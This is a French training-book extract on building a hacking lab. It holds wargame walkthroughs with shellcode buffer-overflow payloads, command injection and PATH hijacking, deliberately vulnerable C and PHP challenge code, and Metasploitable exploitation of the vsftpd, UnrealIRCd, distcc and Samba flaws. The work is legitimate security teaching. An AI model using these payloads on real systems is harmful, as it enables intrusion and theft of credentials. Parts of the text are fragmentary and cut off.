Il est nécessaire que le nom du programme calculant l’adresse ait la même longueur que le programme victime : "/wargame/level3" = "/tmp/aaa/envenv". C’est pourquoi nous mettrons notre programme dans un répertoire que nous créerons et que nous appellerons aaa et ce dans /tmp. En effet, ce nom est enregistré dans la mémoire du processus (argv[0]), décalant ainsi l’adresse de la variable d’environnement. Nous devons maintenant aller faire un tour du côté du debugger gdb afin de trouver l’adresse de retour de la fonction strcmpy. Quelques essais avec gdb (en modifiant le nombre de « a ») donnent la solution : (gdb) r `python -c "print ’a’*200"` Starting program: /wargame/level3 `python -c "print ’a’*200"` Program received signal SIGSEGV, Segmentation fault. 0x61616161 in ?? () (gdb) info reg eax 0x0 0 ecx 0xb7fe0434 -1208089548 edx 0xb7fe1448 -1208085432 ebx 0xb7fdfff4 -1208090636 esp 0xbffffa10 0xbffffa10 ebp 0x61616161 0x61616161 esi 0x0 0 edi 0xb8000cc0 -1207956288 eip 0x61616161 0x61616161 eflags 0x10282 [ SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51

À force de tests, nous observons que l’EIP est écrasé à partir du 140e caractère entré. L’EIP (Extender Instruction Pointer) est le pointeur d’instruction. Quand une instruction est en cours d’exécution, EIP contient l’adresse de la prochaine instruction à exécuter. Le programme échoue ici (SIGSEGV) car nous avons écrasé EIP avec la valeur 0x61616161. L’adresse du shellcode est à 0xbffffc48, ce qui donne \x48\xfc\xff\xbf car les adresses s’écrivent à l’envers (l’adressage est de type little endian). Maintenant que nous avons toutes les informations disponibles, nous pouvons exploiter le programme : level3@vm_bof:/tmp/aaa$ /wargame/level3 `python -c "print ’A’*140+’\x48\xfc\xff\xbf’"` sh-3.1$ cat /home/level4/.passwd

jhR5Drz4r sh-3.1$ exit level3@vm-bof:/tmp/aaa$ su - level4 Password: level4@narnia:~$

strcpy copie le buffer et écrase EIP avec une adresse. Le programme continue sur cette adresse, contenant un shellcode d’où l’exécution de ce dernier. level4 Le programme est assez simple à comprendre. Il prend en entrée un fichier de nom ifile et ayant en file descriptor ifd, et le copie en sortie dans le fichier de nom /dev/null ayant comme file descriptor ofd. Nous sommes donc très proches de l’exploitation level1. Dans la mémoire, nous allons trouver de manière contiguë ifile, qui fait une taille de 32 octets, et ofile. Nous pourrons donc écrire plus de 32 octets dans ifile et arriver dans ofile pour l’écraser. Nous pourrons alors changer le nom du fichier de sortie. Il faut donc un fichier d’entrée pointant vers le mot de passe de level5 ; nous allons passer par un lien symbolique qui pointera vers le fichier voulu (.passwd). Ce nom de fichier doit faire plus de 32 caractères. Les caractères au-delà du trente-deuxième caractère doivent correspondre d’une part à un fichier existant et d’autre part à un fichier dans lequel level5 peut écrire. Quelques commandes UNIX permettent d’aboutir au mot de passe sans trop de souci : level4@vm_bof:/wargame$ cd /tmp level4@vm_bof:/tmp$ ln -s /home/level5/.passwd aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa level4@vm_bof:/tmp$ touch aaaaaaaa level4@vm_bof:/tmp$ chmod 666 aaaaaaaa level4@vm_bof:/tmp$ /wargame/level4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa copied contents of aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa to a safer place... (aaaaaaaa) level4@vm_bof:/tmp$ cat aaaaaaaa WhT8y75tP (none)üÿ¿_ñlevel4@vm_bof:/tmp$ su - level5

Nous commençons donc par nous placer dans le répertoire /tmp. Nous créons ensuite un lien symbolique entre /home/level5/.passwd et un nom de fichier , soit ici « aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ». Ce fichier fait 32 + 8 octets donc 40 « a ». Le nom du fichier écrasé dans ofile sera donc « aaaaaaaa ».

Il faut donc créer ce fichier car il doit exister. Nous le créons grâce à la commande touch et lui donnons les droits en lecture/écriture. Quand nous exécutons le programme en donnant comme fichier les 40 a, c’est en fait /home/level5/.passwd qui est le fichier d’entrée et le contenu sera écrit dans le fichier aaaaaaaa. Nous pouvons donc lire le contenu de ce fichier qui contiendra le mot de passe du niveau suivant. level5 Nous ne pouvons pas ici utiliser de variable d’environnement pour placer notre shellcode comme dans certaines épreuves précédentes car elles sont toutes écrasées et remplies par des zéros. Nous avons une chaîne que l’on maîtrise, argv[1]. Cette chaîne, au-delà d’un certain seuil, va déborder de son buffer. Dans le level3 nous avons rempli de manière arbitraire la chaîne avec des « a » (ce que l’on appelle le « bourrage ») pour écraser EIP avec l’adresse de notre variable d’environnement contenant le shellcode. Il va falloir que nous mettions le shellcode ailleurs que dans une variable d’environnement. Nous avons suffisamment de place dans la chaîne elle-même ! Le paramètre argv[1] va donc contenir un shellcode, des caractères de bourrage, puis une adresse pointant vers le shellcode. Cette adresse va écraser EIP, et le shellcode va donc s’exécuter. Le but est donc de placer notre shellcode dans l’argument lui-même, de trouver son adresse en mémoire et de placer cette adresse dans EIP. argv[1] vaudra donc : shellcode+bourrage+adresse. Le plus gros problème consiste à trouver l’adresse de ce shellcode. Nous pouvons plutôt utiliser comme argv[1] : bourrage+shellcode+adresse. Le bourrage étant par nature arbitraire, nous allons employer des \x90. \x90 en assembleur 8086, c’est le NOP, c’est-à-dire : « ne fait rien et passe à l’instruction suivante ». Cette instruction NOP est très fréquemment utilisée dans les shellcode afin d’avoir une plage d’adresse utilisable au lieu d’avoir exactement l’adresse du shellcode. L’exécution enchaînera les NOP jusqu’à exécuter notre shellcode. Nous devons donc trouver la taille de NOP(s)+shellcode+adresse afin d’écraser et de remplacer l’adresse contenue dans EIP par la nôtre. gdb va nous y aider : level5@vm_bof:/wargame$ ./level5 `python -c "print ’a’*200"`

Segmentation fault level5@vm_bof:/wargame$ Segmentation fault level5@vm_bof:/wargame$ level5@vm_bof:/wargame$ level5@vm_bof:/wargame$ Illegal instruction level5@vm_bof:/wargame$

./level5 `python -c "print ’a’*128"` ./level5 `python -c "print ’a’*100"` ./level5 `python -c "print ’a’*120"` ./level5 `python -c "print ’a’*124"`

Nous commençons donc, par tâtonnements, par essayer de trouver ce nombre. Nous écrasons donc à 124, vérifié par : level5@vm_bof:/wargame$ gdb /wargame/level5 GNU gdb 6.4.90-debian Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) run `python -c "print ’a’*124+’AAAA’"` Starting program: /wargame/level5 `python -c "print ’a’*124+’AAAA’"` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()

Nous voyons ici que le programme essaie de retourner à l’adresse 0x41414141 qui ne correspond à rien d’où l’erreur « Segmentation fault ». Si maintenant nous regardons le contenu des registres, nous obtenons : (gdb) info reg eax 0x0 0 ecx 0xfffffe07 edx 0xbffffc4a ebx 0xb7fdfff4 esp 0xbffffa50 ebp 0x61616161 esi 0x0 0 edi 0xb8000cc0 eip 0x41414141 eflags 0x10246 [ PF ZF cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb)

-505 -1073742774 -1208090636 0xbffffa50 0x61616161 -1207956288 0x41414141 IF RF ]

Nous avons bien nos « a » (\x61 dans EBP) et nos « A » (\x41 dans EIP). Nous pouvons de plus regarder vers quelle adresse se situe notre argv[1].

L’inconvénient est que cette adresse ne correspondra pas à l’adresse du programme lancé sans gdb. En effet, gdb lui aussi est en mémoire et décale donc l’ensemble des adresses du programme (la véritable adresse sera donc supérieure en valeur). Nous allons observer la RAM pour avoir notre première approximation : (gdb) x/60x 0xbffff99c: 0xbffff9ac: 0xbffff9bc: 0xbffff9cc: 0xbffff9dc: 0xbffff9ec: 0xbffff9fc: 0xbffffa0c: 0xbffffa1c: 0xbffffa2c: 0xbffffa3c: 0xbffffa4c: 0xbffffa5c: 0xbffffa6c: 0xbffffa7c:

$esp-180 0x0804850f 0x00003638 0x00000000 0x00000011 0x61616161 0x61616161 0x61616161 0x61616161 0x61616161 0x61616161 0x61616161 0x41414141 0x00000000 0xbffffa98 0x00000000

0xbffff9d0 0x00000000 0x00000000 0x61616161 0x61616161 0x61616161 0x61616161 0x61616161 0x61616161 0x61616161 0x61616161 0x00000000 0xb7fdfff4 0xbffffa50 0x00000000

0xbffffbc9 0x00000000 0x00000000 0x61616161 0x61616161 0x61616161 0x61616161 0x61616161 0x61616161 0x61616161 0x61616161 0xbffffac4 0x00000000 0xb7ec7e6d 0xb7ff6090

0x00000021 0x00000000 0x00000000 0x61616161 0x61616161 0x61616161 0x61616161 0x61616161 0x61616161 0x61616161 0x61616161 0xbffffad0 0xb8000cc0 0x00000000 0xb7ec7ded

Donc vers 0xbffff9dc, nous arrivons dans argv[1]. Nous pouvons donc construire notre argv[1]. La taille complète doit faire 128 octets. Le shellcode trouvé sur Wikipédia fait 45 octets. La chaîne est construite avec : 79xNOP+Shellcode+adresse (sur 4 octets)=128 octets. Nous allons donc tenter différentes adresses. La première adresse que nous allons tenter sera 0xbffff9dc, cette dernière ne fonctionnera vraisemblablement pas, sauf si gdb a décalé moins de 79 octets, nombre qui correspond à nos NOP. Ensuite, nous allons tenter la même adresse plus 79 octets, plus 79 octets une seconde fois, etc. jusqu’à tomber sur nos NOP (79 en décimal correspond à 0x4f en hexadécimal) : 0xbffff9dc+0x4f=0xBFFFFA2B puis BFFFFA7A puis BFFFFB18 puis etc. level5@vm_bof:/wargame$ ./level5 `python -c "print ’\x90’*79+’\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\ xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\ xcd\x80\xe8\xdc\xff\xff\xff’+’/bin/sh’+’\xdc\xf9\xff\xbf’"` Segmentation fault level5@vm_bof:/wargame$ ./level5 `python -c "print ’\x90’*79+’\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\ xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\ xcd\x80\xe8\xdc\xff\xff\xff’+’/bin/sh’+’\x2b\xfa\xff\xbf’"` sh-3.1$ cat /home/level6/.passwd Bg8htOO96 sh-3.1$ exit level5@vm_bof:/wargame$ su - level6 Password: level6@vm_bof:~$

La première erreur de segmentation (segfault) est attendue. Ensuite, nous avançons de 79 octets et nous arrivons quelque part dans les NOP, ce qui nous montre bien l’efficacité de

mettre les NOP avant le shellcode. Si le shellcode était en première position, nous aurions dû monter les adresses octet par octet pour trouver la bonne adresse.

Conditions générales d'utilisation Copyright - ©Editions ENI Accueil Précédent [email protected] Livres gratuits

Hacking - Un labo virtuel pour auditer et mettre en place des contre-mesures Sommaire 

Informations générales o



Introduction o





Introduction Serveur DHCP OpenVPN Serveur FTP Serveur web Serveur Asterisk Nagios Conclusion

Mise en place des épreuves o o o o o



Présentation Installation Configuration Conclusion

Machines virtuelles et services o o o o o o o o



Introduction

Proxmox o o o o



Titre, auteur...

Introduction Création de cinq épreuves applicatives Création de cinq épreuves logiques Création d'épreuves crakme Création des épreuves web

Plateformes d’entraînement Le matériel indispensable

Création de cinq épreuves logiques

La méthode est la même que précédemment. Nous devons d’abord créer une nouvelle machine virtuelle puis créer les utilisateurs, le dossier /wargame et donner les droits aux fichiers qui suivent.

1. Épreuve level1 La création de la première épreuve est simple : nous créons un fichier dans /home/level1 qui se nommera .backup et dans lequel nous inscrirons le mot de passe de level2.

2. Épreuve level2 Le fichier level2.c est : #include #include #include #define _GNU_SOURCE #include #define COMMAND #define MAX_SIZE

"/bin/cat " 100

void secure( char * str[] ) { char * replace; unsigned int i; char dangerous[] = "#&;`’\"*?ˆ()[]{}$,\t\n "; /* No absolute path */ while( *str[0] == ’/’ ) { (*str)++; } /* No directory traversal */ while( (replace = strstr(*str, "../")) ) { replace[1] = ’/’; } /* No shell special chars */ for( i=0; i MAX_SIZE ) { printf( "Nom de fichier trop long !\n"); exit(1); } secure( &argv[1] ); sprintf(mycat, "%s%s", COMMAND, argv[1]); system( mycat ); return 0; }

3. Épreuve level3 Le fichier level3.c est : #include #include int main(){ system("ls /home/level4/.passwd"); return 0; }

4. Épreuve level4 Le fichier level4.c est : #include #include #include #define PASSFILE #define MAX_SIZE

"/home/level5/.passwd" 100

int main( int argc, char ** argv ) { FILE * f; char password[ MAX_SIZE + 1 ] = {0}; if( argc < 2 || (f = fopen(PASSFILE, "r")) == NULL || fgets(password, MAX_SIZE, f) == NULL ) { printf("he non !.\n"); exit(1); } if( strncmp( argv[1], password, MAX_SIZE ) == 0 ) { printf("Excellent ! =)\n"); } }

5. Épreuve level5 Le fichier level5.c est :

#include #include #include #define SIZE #define CMD

50 "/bin/cat /home/level6/.passwd"

int main() { char * buff1 = malloc(SIZE); char * buff2 = malloc(SIZE); if( buff1 == NULL || buff2 == NULL ) { puts("Allocation memoire invalide."); return 1; } gets( buff1 ); free( buff1 ); if( strcmp(buff2, "RMLL2011") == 0 ) { puts("Bien :)"); system( CMD ); } else { puts("Essai encore..."); } free(buff2); return 0;

6. Solution des épreuves level1 Le mot de passe est dans /home/level1/.backup. level2 ./level2 "|sh" whoami level3 cat /home/level3/.passwd

Nous remarquons en effectuant différents tests que level2 acceptant des arguments, nous pouvons placer un pipe ( | ) comme argument et donc ensuite un shell, sh par exemple qui nous fait de suite devenir level3. De ce fait, nous pouvons aller lire le mot de passe de level3. level3 Pour exploiter ce niveau, nous allons recréer une commande ls dans le répertoire /tmp.

Dans ce nouveau fichier ls, nous inscrirons ce que nous voulons faire, c’est-à-dire cat /home/level4/.passwd. Nous donnerons ensuite tous les droits (777) à ce fichier ls. Pour terminer, nous mettrons dans le PATH le chemin de ce nouveau ls. Il nous reste à lancer level3. Le système ira d’abord chercher un ls dans le PATH et exécutera notre ls à la place du ls système et exécutera donc son contenu soit le cat /home/level4/.passwd. cat > /tmp/ls cat /home/level4/.passwd chmod 777 /tmp/ls export PATH="/tmp:$PATH" ./level3

level4 Ce qu’il fallait remarquer ici, c’est l’absence de return dans le main. Nous désassemblons pour voir ce qu’il se passe. (gdb) disass main 0x08048565 : 0x08048569 : 0x0804856c : 0x08048571 : 0x08048573 : 0x08048575 : 0x0804857c : 0x08048581 : 0x08048587 : 0x08048588 : 0x08048589 : 0x0804858a : 0x0804858d :

mov mov call test jne mov call add pop pop pop lea ret

DWORD PTR [esp+0x4],eax DWORD PTR [esp],edx 0x80483b0 eax,eax 0x8048581 DWORD PTR [esp],0x804866d 0x80483a0 esp,0x90 ecx edi ebp esp,[ecx-0x4]

Nous remarquons alors que le résultat de la fonction strncmp est laissé dans eax et retourné par ret. En regardant le manuel de strncmp, nous pouvons voir que les fonctions strcmp() et strncmp() renvoient un entier inférieur, égal ou supérieur à zéro si s1 (ou ses n premiers octets) est respectivement inférieure, égale ou supérieure à s2. Nous pouvons alors caractère par caractère déduire le mot de passe lu via le code de retour du programme. Voici un script qui réalise cette opération : #!/bin/bash charset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234 56789" code=`perl -e "print ord(’z’)"` pass="" for i in `seq 16` do

test="${pass}z" /home/basic7/passtest "$test" retcode=`echo $?` var="`expr $code - $retcode`" var="`perl -e "print chr("$var")"`" pass="${pass}${var}" done echo $pass

Nous lançons le script et nous obtenons le mot de passe. basic8@wargame:/tmp/.elz$ sh test.sh

level5 Pour commencer l’étude de cette épreuve, nous allons donner des arguments au binaire level5 (58 octets). Nous voyons un message d’erreur qui s’affiche dans gdb. fasm@moya:~$ python -c "print ’A’*58" | ./level5 *** glibc detected *** ./basic10: free(): invalid next size (fast): 0x0804a008 *** ======= Backtrace: ========= /lib/i686/cmov/libc.so.6[0xb7ef0764] /lib/i686/cmov/libc.so.6(cfree+0x96)[0xb7ef2966] ./basic10[0x804850a] /lib/i686/cmov/libc.so.6(__libc_start_main+0xe5)[0xb7e98455] ./basic10[0x8048411]

Nous allons maintenant désassembler le programme. (gdb) disass main (...) 0x08048505 : (...)

call

0x80483ac

Nous retrouvons en main+97 la fonction free qui était la cause de l’arrêt du programme. Nous plaçons un point d’arrêt. Nous relançons ensuite le programme (r) et nous allons examiner le contenu de la pile (x/x $esp). Le contenu de esp est l’adresse 0x0804a008, nous allons donc voir à cette adresse. (gdb) b *main+97 Breakpoint 1 at 0x8048505 (gdb) r Starting program: /home/basic10/basic10 AAAA AAAA Breakpoint 1, 0x08048505 in main () Current language: auto; currently asm (gdb) x/x $esp 0xbffff8a0: 0x0804a008

(gdb) x/x 0x0804a008 0x804a008: 0x41414141

Nous avons à cette adresse 0x41414141, nous écrasons donc EIP. Si nous soustrayons 4 et vérifions le contenu de cette adresse, nous avons 0x39. Nous pouvons donc écrire notre exploit. (gdb) x/x 0x0804a008-4 0x804a004: 0x00000039 fasm@moya:~$ python -c "import struct; print ’AAAA’*13 + struct.pack(’

Lançons le script en ligne de commande. root@WEB1:/home/web/www# php5 decrypt.php XdcRF5UD

Voilà, nous obtenons le mot de passe déchiffré.

f. Implémentation de la troisième épreuve Dans un premier temps, copions le code de l’épreuve 1 dans un dossier epreuve3. root@WEB1:/home/web/www# cp -R epreuve1 epreuve3

Nous ajoutons à la première ligne du fichier index.php le code suivant afin de passer en mode « session » :

Cette épreuve met en place un formulaire d’identification qui fait appel à des cookies. Voici le code à ajouter dans le fichier fonctions.php à l’emplacement où vous souhaitez afficher le formulaire. // ***** page 5 identification ***** if (isset($_COOKIE[’user’])) { if ( $_COOKIE[’user’]=="f4a77acf03e969bbb2b99fee35d137fb") { echo "Bonjour Franck, bienvenue sur votre compte."; echo "Pas de nouvelles informations pour le moment."; if (isset($_COOKIE[’d’]) and $_COOKIE[’d’]==’1d8141b215f74524ddb3a4a21d55cc9c2141bd0c’) echo "Bravo, vous venez de passer administrateur, votre clef est : aZD4jVuu1N"; } elseif($_COOKIE[’user’]=="4ffe35db90d94c6041fb8ddf7b44df29") { echo "Bonjour Robert, bienvenue sur votre compte."; echo "Pas de nouvelles informations pour le moment."; if (isset($_COOKIE[’d’]) and $_COOKIE[’d’]==’1d8141b215f74524ddb3a4a21d55cc9c2141bd0c’) echo "Bravo, vous venez de passer administrateur, votre clef est : aZD4jVuu1N"; } else { echo "Utilisateur inconnu!"; } } else { ?> Identification 20 avril 2013 Identifiez-vous Identifiant :       Mot de passe : Bravo 20 avril 2013 Vous avez trouvé la bonne page. Votre clef est : A2dfT3BBn2e Lire la suite Identification 20 avril 2013

Identifiez-vous Identifiant :       Mot de passe : Livres

20 avril 2013 Vous pouvez saisir la référence d’un livre pour déterminer s’il est disponible. Question 20 avril 2013 Question Votre pseudo :    Votre question : Inscrivez le code écrit ci-dessus. Réponse :        Saurez-vous poser 5 questions en moins de 10 secondes ? Vous pouvez si vous n’êtes pas un homme.

Pour que cette image puisse être générée sans problème, il faut disposer de la police DejaVuSans.ttf dans le dossier images. Nous copions celle-ci du dossier /usr/share/fonts/truetype. root@WEB1:/home/web/www/epreuve7# cp /usr/share/fonts/truetype/ttf-dejavu/DejaVuSansMono.ttf /home/web/www/epreuve7/images/

Notre formulaire est prêt. Il faut à présent implémenter la validation de celui-ci. Pour prouver que ce sera bien un script qui valide le formulaire, le mieux est de compter un nombre de

validations par seconde qu’un homme sera incapable de faire. Donc, dès la première validation, nous déclenchons une sorte de chronomètre et nous n’aurons que 10 secondes pour faire 5 validations. Cette information sera donnée à celui qui veut résoudre cette épreuve. Voici le code de validation du formulaire que nous implémentons sous la forme d’une fonction : function val_captcha($valeur) { //echo $valeur.""; //echo $_SESSION[’valeur’].""; $temps=10; //initialisation du temps if (!($_SESSION[’temps’]>0)) $_SESSION[’temps’]=time(); echo "temps initial : ".$_SESSION[’temps’].""; $reste = $temps-(time()-$_SESSION[’temps’]); //echo "temps restant : ".$reste.""; if (preg_match("#[A-Za-z0-9]{6}#", $valeur)) { echo $_SESSION[’code’].""; if ($valeur==$_SESSION[’code’]) { switch($_SESSION[’etape’]) { case 1 : if ($reste>=0) $_SESSION[’etape’]=2; else $_SESSION[’etape’]=0; echo "Validation n° ". $_SESSION[’etape’].""; break; case 2 : if ($reste>=0) $_SESSION[’etape’]=3; else $_SESSION[’etape’]=0; echo "Validation n° ". $_SESSION[’etape’].""; break; case 3 : if ($reste>=0) $_SESSION[’etape’]=4; else $_SESSION[’etape’]=0; echo "Validation n° ". $_SESSION[’etape’].""; break; case 4 : if ($reste>=0) { echo "Bravo, vous avez gagné!"; $i=7; $IP=$_SERVER[REMOTE_ADDR]; $code="4QI85ccE00"; echo ’Votre clef de validation est : ’.$code.’’; } else $_SESSION[’etape’]=0; break; default: $_SESSION[’etape’]=1; echo "Validation n° ". $_SESSION[’etape’].""; } if ($reste /tmp/r00t/root/.ssh/authorized_keys root@ubuntu:~# umount /tmp/r00t root@ubuntu:~# ssh [email protected] Last login: Fri Jun 1 00:29:33 2012 from 192.168.1.128 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

root@metasploitable:~#

3. Services : Backdoors Sur le port 21, Metasploitable fait tourner vsftpd, le FTP que nous avons configuré au chapitre Machines virtuelles et services. Cette version, ici la version 2.3.4, comporte une backdoor qui a été ajoutée au service par un intrus. La version contenant la backdoor a été mise à disposition sur le web et s’est donc propagée. La backdoor a été très vite identifiée et enlevée, mais pas assez rapidement puisque beaucoup de personnes ont eu le temps de télécharger la version concernée. Si un nom qui se termine par « :) » est envoyé, la backdoor ouvre le port 6200 et lance un shell en écoute sur ce port. Nous pouvons démontrer cela avec telnet ou utiliser un module de Metasploit pour l’exploiter automatiquement : root@ubuntu:~# telnet 192.168.1.131 21 Trying 192.168.1.131... Connected to 192.168.1.131. Escape character is ’ˆ]’. 220 (vsFTPd 2.3.4) user backdoored:) 331 Please specify the password. pass invalid ˆ] telnet> quit Connection closed. root@ubuntu:~# telnet 192.168.1.131 6200 Trying 192.168.1.131... Connected to 192.168.1.131. Escape character is ’ˆ]’. id; uid=0(root) gid=0(root)

Sur le port 6667 de Metasploitable tourne un démon IRC, UnreaIRCD. Cette version contient une backdoor qui n’a pas été identifiée pendant des mois, déclenchée lorsque les lettres « AB » suivies par une commande système lui sont envoyées sur n’importe quel port en écoute. Metasploit a un module qui l’exploite afin d’obtenir un shell interactif comme montré ci-dessous. Msfconsole msf > use exploit/unix/irc/unreal_ircd_3281_backdoor msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.1.131 msf exploit(unreal_ircd_3281_backdoor) > exploit [*] Started reverse double handler [*] Connected to 192.168.1.131:6667... :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname... :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn’t resolve your hostname; using your IP address instead [*] Sending backdoor command... [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo 8bMUYsfmGvOLHBxe;

[*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "8bMUYsfmGvOLHBxe\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (192.168.1.128:4444 -> 192.168.1.131:60257) at 2012-05-31 21:53:59 -0700 id uid=0(root) gid=0(root)

Une autre et très vieille backdoor, « ingreslock », écoute sur le port 1524. Pour y accéder, rien de plus simple : root@ubuntu:~# telnet 192.168.1.131 1524 Trying 192.168.1.131... Connected to 192.168.1.131. Escape character is ’ˆ]’. root@metasploitable:/# id uid=0(root) gid=0(root) groups=0(root) Services:Unintentional Backdoors

En plus des backdoors vues précédemment, quelques services sont des sortes de backdoors par leur nature. Le premier est distccd. Distccd est le serveur du compilateur réparti distcc. Il exécute les tâches de compilation qui lui sont confiées en réseau par ses clients. Distcc peut être exécuté soit sur TCP, soit par une commande de connexion telle que ssh : les connexions TCP sont rapides mais peu sûres ; les connexions SSH sont sécurisées mais plus lentes. Le problème avec ce service est qu’un attaquant peut aisément le contourner pour lancer une commande de son choix. Nous allons démontrer cela en utilisant un module Metasploit. Msfconsole msf > use exploit/unix/misc/distcc_exec msf exploit(distcc_exec) > set RHOST 192.168.1.131 msf exploit(distcc_exec) > exploit [*] Started reverse double handler [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo uk3UdiwLUq0LX3Bi; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "uk3UdiwLUq0LX3Bi\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (192.168.1.128:4444 -> 192.168.1.131:38897) at 2012-05-31 22:06:03 -0700 id uid=1(daemon) gid=1(daemon) groups=1(daemon)

Samba est une implémentation libre des protocoles SMB (Server Message Block) et CIFS (Common Internet File System). Samba fournit des services et fichiers d’impression pour des clients Windows et peut s’intégrer à un domaine Windows Server. Samba, lorsqu’il est configuré avec un fichier partagé en écriture et avec l’option « wide links » validée (« on » par défaut), peut aussi être utilisé comme une backdoor de façon à accéder à des fichiers qui n’ont pas été partagés. L’exemple ci-dessous utilise un module Metasploit pour obtenir un accès au système de fichiers de l’utilisateur root avec une connexion anonyme. root@ubuntu:~# smbclient -L //192.168.1.131 Anonymous login successful Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] Sharename Type Comment -----------------print$ Disk Printer Drivers tmp Disk oh noes! opt Disk IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)) ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)) root@ubuntu:~# msfconsole msf > use auxiliary/admin/smb/samba_symlink_traversal msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.1.131 msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp msf auxiliary(samba_symlink_traversal) > exploit [*] [*] [*] [*] [*] msf

Connecting to the server... Trying to mount writeable share ’tmp’... Trying to link ’rootfs’ to the root filesystem... Now access the following share to browse the root filesystem: \\192.168.1.131\tmp\rootfs\ auxiliary(samba_symlink_traversal) > exit

root@ubuntu:~# smbclient //192.168.1.131/tmp Anonymous login successful Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] smb: \> cd rootfs smb: \rootfs\> cd etc smb: \rootfs\etc\> more passwd getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec) root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh [..]

4. Vulnerable Web Services Des vulnérabilités web sont préinstallées dans Metasploitable. Le serveur web se lance automatiquement quand Metasploitable est démarré. Pour accéder à ces applications web,

nous ouvrirons un navigateur web et nous connecterons sur l’URL http:// où est l’adresse de Metasploitable. Dans l’exemple, Metasploitable tourne à l’adresse IP 192.168.56.101. Donc nous entrerons http://192.168.56.101/ comme montré dans l’image ci-dessous.

Pour accéder aux applications web particulières, il suffit de cliquer sur les liens de la page d’accueil. D’autres applications web peuvent être accessibles en indiquant un répertoire dans l’URL : http://// Par exemple, l’application Mutillidae est accessible à l’adresse : http://192.168.56.101/mutillidae/ Les applications sont installées dans le répertoire /var/www. Dans cette version, au moment de l’écriture de ce livre, nous avons :      

Mutillidae (NOWASP Mutillidae 2.1.19) DVWA (Damn Vulnerable Web Application) phpMyAdmin TikiWiki (TWiki) TikiWiki-old dav (WebDav)

a. Vulnérabilité web : Mutillidae L’application web Mutillidae (NOWASP (Mutillidae)) contient toutes les vulnérabilités du classement des 10 failles web de l’OWASP comme le stockage web HTML-5, clickjacking...

Le clickjacking est le moyen de forcer l’internaute à cliquer sur quelque chose sur une page web pour lui faire exécuter une action malveillante. Inspiré par DVWA, Mutillidae autorise l’utilisateur à changer le « niveau de sécurité » de 0 (complètement insécurisé) à 5 (sécurisé). En outre, trois niveaux ont été inclus : "Level 0 très difficile" à "Level 2 - novice". Si l’application est endommagée par de l’injection ou des hacks, cliquez sur le bouton Reset DB qui va remettre tout dans les conditions initiales.

Pour remettre le score des épreuves validées à zéro, il suffira de cliquer sur le bouton Toggle hints de la barre de menu.

Vous pourrez trouver toutes les informations nécessaires aux adresses suivantes : https://community.rapid7.com/docs/DOC-1875 http://www.offensive-security.com/metasploit-unleashed/Metasploitable b. Vulnérabilité web : DVWA Damn Vulnerable Web App (DVWA) est une application web écrite en PHP qui est vulnérable. Son but principal est d’être une aide pour les professionnels de la sécurité pour tester leurs connaissances et leurs outils dans un environnement légal. Elle a aussi pour but d’aider le développeur à comprendre les processus de sécurité de leurs applications et enfin, d’aider les enseignants et étudiants à enseigner ou apprendre les failles Web en classe. DVWA contient des instructions dans sa page web et des informations additionnelles sont disponibles sur la page wiki de DVWA : http://code.google.com/p/dvwa/w/list Default username = admin Default password = password

c. Vulnérabilité web : Information Disclosure Une page d’information PHP peut être trouvée à cette adresse : http:///phpinfo.php. Dans cet exemple, l’URL serait http://192.168.56.101/phpinfo.php. Nous trouverons donc des informations internes au système et des informations sur les versions des services qui peuvent être utilisées pour la recherche de vulnérabilités. Par exemple, notons que la version de PHP indiquée dans la capture d’écran ci-après est une version 5.2.4, il peut être possible qu’il soit donc vulnérable aux CVE (Common Vulnerabilities and Exposures) CVE-2012-1823 et CVE-2012-2311 qui ont affecté les versions de PHP avant 5.3.12 et 5.4.x avant 5.4.2.

Nous avons fait un peu le tour de la VM Metasploitable. Nous allons revenir ici un peu sur Metasploit afin, pour ceux qui ne le connaissent pas, de le prendre en main, et ceux qui le connaissent, de se remettre en tête son utilisation.

